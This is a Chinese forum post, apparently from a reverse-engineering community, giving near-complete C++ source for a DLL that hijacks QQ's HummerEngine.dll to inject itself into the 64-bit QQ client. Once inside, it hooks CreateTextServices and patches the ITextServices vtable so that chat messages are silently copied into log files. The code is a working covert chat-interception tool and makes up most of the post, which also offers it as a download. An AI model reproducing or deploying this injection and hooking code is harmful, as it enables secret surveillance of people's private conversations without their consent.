大牛飘过,最近想到了CreateTextServices来记录消息
首先想办法注入到QQ进程内,我是劫持HummerEngine.dll
以前大家都是调用ITextServices::TxGetText获取消息记录,而我想到了Hook ITextServices的虚函数表,我Hook它三个成员函数TxSendMessage、TxGetText、TxSetText。
我们以前追加编辑框文本的时候都是先发生EM_SETSEL,再发生EM_REPLACESEL。QQ的无窗口编辑控件也是如此,因此我们只要拦截ITextServices::TxSendMessage,就能记录到聊天记录。
但是Hook了ITextServices::TxSendMessage了,却得不到聊天的窗口句柄,因此我只能以this指针为文件名来追加消息记录。Hook ITextServices::TxSendMessage有个好处,只要在编辑框里面有的内容都能记录下来,就不怕对方清屏了。另外QQ可能有很多无窗口编辑框,但只有聊天消息的编辑框的文本模式为TM_RICHTEXT,发生EM_GETTEXTMODE消息判断下就行了
剩下的是代码,大家凑合着看,反正我在64位QQ2013sp1可以记录到,至于32位由于有保护的原因,不能劫持HummerEngine.dll
#include <Windows.h>
#include <Tchar.h>
#include <Stdio.h>
#include <Richedit.h>
#include <Textserv.h>
#include "mhook-lib\mhook.h"
#pragma comment(linker, "/EXPORT:RunQQHummerEngine=HummerEngineX.RunQQHummerEngine,PRIVATE")
#pragma comment(linker, "/EXPORT:UninitializeCom=HummerEngineX.UninitializeCom,PRIVATE")
typedef DWORD (WINAPIV *PGetSelfUin)(VOID);
HMODULE g_hinst;
HMODULE g_hRiched20;
BOOL g_bInitial;
TCHAR g_szRecordPath[MAX_PATH];
DWORD g_dwUin;
PCreateTextServices g_pfnCreateTextServices;
PGetSelfUin g_pfnGetSelfUin;
//追加文本文件
VOID AppendTextFile(LPTSTR pszFilePath, LPTSTR pszText)
{
HANDLE hFile;
DWORD dwFileSize;
DWORD dwRetLen;
hFile = CreateFile(pszFilePath,
GENERIC_WRITE,
0,
NULL,
OPEN_ALWAYS,
FILE_ATTRIBUTE_NORMAL,
NULL);
if(hFile != INVALID_HANDLE_VALUE)
{
if(GetLastError() == ERROR_ALREADY_EXISTS)
{
dwFileSize = GetFileSize(hFile, NULL);
SetFilePointer(hFile, dwFileSize, NULL, FILE_BEGIN);
}
else
{
#ifdef UNICODE
UCHAR szBigUtf16Hd[] = {0xFF, 0xFE};
WriteFile(hFile, &szBigUtf16Hd, sizeof(szBigUtf16Hd), &dwRetLen, NULL);
#endif
}
WriteFile(hFile, pszText, lstrlen(pszText) * sizeof(TCHAR), &dwRetLen, NULL);
CloseHandle(hFile);
}
}
class CHookTextServices
{
public:
HRESULT TxSendMessage(UINT msg, WPARAM wparam, LPARAM lparam, LRESULT *plresult)
{
ITextServices *pTextServices = (ITextServices*)this;
switch(msg)
{
case EM_REPLACESEL:
{
SYSTEMTIME systemTime;
LPTSTR pszStr;
TCHAR szFormat[512];
LRESULT lRes;
pszStr = (LPTSTR)lparam;
if(lstrcmpi(pszStr, _T("")) == 0)
break;
if(g_bInitial == FALSE)
break;
if((pTextServices->TxSendMessage(EM_GETTEXTMODE, 0, 0, &lRes) == S_OK) && (lRes & TM_RICHTEXT))
{
GetSystemTime(&systemTime);
wsprintf(szFormat, _T("%s\\%lu\\%02X%02X%02X%p.txt"),
g_szRecordPath,
g_dwUin,
systemTime.wYear,
systemTime.wMonth,
systemTime.wDay,
this);
AppendTextFile(szFormat, (LPWSTR)lparam);
}
}
break;
}
return (pTextServices->*(g_pHookTextServices->TrueTxSendMessage))(msg, wparam, lparam, plresult);
}
HRESULT TxGetText(BSTR *pbstrText)
{
ITextServices *pTextServices = (ITextServices*)this;
return (pTextServices->*(g_pHookTextServices->TrueTxGetText))(pbstrText);
}
HRESULT TxSetText(LPCWSTR pszText)
{
ITextServices *pTextServices = (ITextServices*)this;
return (pTextServices->*(g_pHookTextServices->TrueTxSetText))(pszText);
}
public:
HRESULT (ITextServices::* TrueTxSendMessage)(UINT msg, WPARAM wparam, LPARAM lparam, LRESULT *plresult);
HRESULT (ITextServices::* TrueTxGetText)(BSTR *pbstrText);
HRESULT (ITextServices::* TrueTxSetText)(LPCWSTR pszText);
HRESULT (CHookTextServices::* HookTxSendMessage)(UINT msg, WPARAM wparam, LPARAM lparam, LRESULT *plresult);
HRESULT (CHookTextServices::* HookTxGetText)(BSTR *pbstrText);
HRESULT (CHookTextServices::* HookTxSetText)(LPCWSTR pszText);
} *g_pHookTextServices;
VOID VFSet(LPVOID *ppVfPtr, LPVOID pAddr)
{
DWORD dwOldProtect;
if(VirtualProtect(ppVfPtr,
sizeof(LPVOID),
PAGE_EXECUTE_READWRITE,
&dwOldProtect))
{
*ppVfPtr = pAddr;
VirtualProtect(ppVfPtr,
sizeof(LPVOID),
dwOldProtect,
&dwOldProtect);
}
}
HRESULT STDAPICALLTYPE NewCreateTextServices(
IUnknown *punkOuter,
ITextHost *pITextHost,
IUnknown **ppUnk
)
{
HRESULT hr;
LPIID pIID_ITS;
ITextServices *pTextServices;
LPVOID *ppVtPtr;
LPVOID *ppVfPtr;
HMODULE hKernelUtil;
TCHAR szFormat[512];
DWORD cbValue;
if(g_bInitial == FALSE)
{
if((hKernelUtil = GetModuleHandle(_T("KernelUtil.dll"))) &&
(g_pfnGetSelfUin = (PGetSelfUin)GetProcAddress(hKernelUtil, "?GetSelfUin@Contact@Util@@YAKXZ")))
{
if(g_dwUin = g_pfnGetSelfUin())
{
//读取记录文件夹路径
cbValue = sizeof(g_szRecordPath);
if(ReadRegValue(HKEY_LOCAL_MACHINE,
_T("SOFTWARE\\QQMsg"),
_T("RecordFilePath"),
g_szRecordPath,
&cbValue))
{
g_bInitial = TRUE;
wsprintf(szFormat, _T("%s\\%lu"), g_szRecordPath, g_dwUin);
CreateDirectory(szFormat, NULL);
}
}
}
}
hr = g_pfnCreateTextServices(punkOuter,
pITextHost,
ppUnk);
if(hr == S_OK)
{
pIID_ITS = (LPIID)GetProcAddress(g_hRiched20, "IID_ITextServices");
if((*ppUnk)->QueryInterface(*pIID_ITS,
(LPVOID*)&pTextServices) == S_OK)
{
if(g_pHookTextServices == NULL)//虚函数Hook应用于所有实例,因此只需Hook一遍就行了
{
g_pHookTextServices = new CHookTextServices;
ppVtPtr = *(LPVOID**)pTextServices;
ppVfPtr = &ppVtPtr[3];
*(LPVOID*)&g_pHookTextServices->TrueTxSendMessage = *ppVfPtr;
g_pHookTextServices->HookTxSendMessage = &CHookTextServices::TxSendMessage;
VFSet(ppVfPtr, *(LPVOID*)&g_pHookTextServices->HookTxSendMessage);
ppVfPtr = &ppVtPtr[13];
*(LPVOID*)&g_pHookTextServices->TrueTxGetText = *ppVfPtr;
g_pHookTextServices->HookTxGetText = &CHookTextServices::TxGetText;
VFSet(ppVfPtr, *(LPVOID*)&g_pHookTextServices->HookTxGetText);
ppVfPtr = &ppVtPtr[14];
*(LPVOID*)&g_pHookTextServices->TrueTxSetText = *ppVfPtr;
g_pHookTextServices->HookTxSetText = &CHookTextServices::TxSetText;
VFSet(ppVfPtr, *(LPVOID*)&g_pHookTextServices->HookTxSetText);
}
pTextServices->Release();
}
}
return hr;
}
BOOL WINAPI DllMain(
HINSTANCE hinstDLL,
DWORD fdwReason,
LPVOID lpvReserved
)
{
switch(fdwReason)
{
case DLL_PROCESS_ATTACH://加载dll;
{
g_hinst = hinstDLL;
g_hRiched20 = LoadLibrary(_T("RICHED20.DLL"));
g_pfnCreateTextServices = (PCreateTextServices)GetProcAddress(g_hRiched20, "CreateTextServices");
Mhook_SetHook((PVOID*)&g_pfnCreateTextServices, NewCreateTextServices);
}
break;
case DLL_PROCESS_DETACH://释放dll
{
Mhook_Unhook((PVOID*)&g_pfnCreateTextServices);
g_pfnCreateTextServices = NULL;
FreeLibrary(g_hRiched20);
}
break;
case DLL_THREAD_ATTACH://新建线程
{
}
break;
case DLL_THREAD_DETACH://线程退出
{
}
break;
}
return TRUE;
}
Win7 64位测试有用
QQMsg.zip
[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课